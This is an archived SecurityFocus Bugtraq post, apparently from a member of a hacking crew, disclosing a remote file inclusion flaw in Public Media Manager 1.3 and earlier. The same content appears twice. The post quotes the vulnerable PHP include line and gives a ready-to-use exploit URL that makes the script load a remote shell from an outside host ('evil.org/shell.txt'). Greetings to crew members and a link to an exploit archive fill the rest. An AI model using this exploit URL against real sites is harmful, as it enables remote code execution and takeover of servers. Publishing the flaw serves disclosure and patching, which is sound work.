Threat level definition
Search:
Home
Bugtraq
Vulnerabilities
Mailing Lists
Jobs
Tools
Beta Programs
News
Infocus
Foundations
Microsoft
Unix
IDS
Incidents
Virus
Pen-Test
Firewalls
Columnists
Mailing Lists
Newsletters
Bugtraq
Focus on IDS
Focus on Linux
Focus on Microsoft
Forensics
Pen-test
Security Basics
Vuln Dev
Vulnerabilities
Jobs
Job Opportunities
Resumes
Job Seekers
Employers
Tools
RSS
News
Vulns
Security Research
BugTraq
Back to list
|
Post reply
Public Media Manager <= 1.3 Remote File Inclusion Vulnerability
Sep 29 2007 06:08AM
0in email gmail com
#f0und bY 0in
#Contact: 0in.email (at) gmail (dot) com [email concealed]
#Download:http://pmm-cms.sourceforge.net/
#Greetings to:All Dark-Coders team #members:Die-angel,Slim,Umbro
#and other friends #Joker186,Artysta,Kaja,Wojto111,Rade0n
BUG:
news/newstopic_inc.php:2:if (!empty($indir)) include_once ($indir)."/newsdb/config.php";
Expl0it:
http://x.com/[path]/news/newstopic_inc.php?indir=http://evil.org/shell.t
xt?
Orginal first post & exploit: http://milw0rm.com/exploits/4465
[ reply ]
Privacy Statement
Copyright 2009, SecurityFocus
#Contact: 0in.email (at) gmail (dot) com [email concealed]
#Download:http://pmm-cms.sourceforge.net/
#Greetings to:All Dark-Coders team #members:Die-angel,Slim,Umbro
#and other friends #Joker186,Artysta,Kaja,Wojto111,Rade0n
BUG:
news/newstopic_inc.php:2:if (!empty($indir)) include_once ($indir)."/newsdb/config.php";
Expl0it:
http://x.com/[path]/news/newstopic_inc.php?indir=http://evil.org/shell.t
xt?
Orginal first post & exploit: http://milw0rm.com/exploits/4465
[ reply ]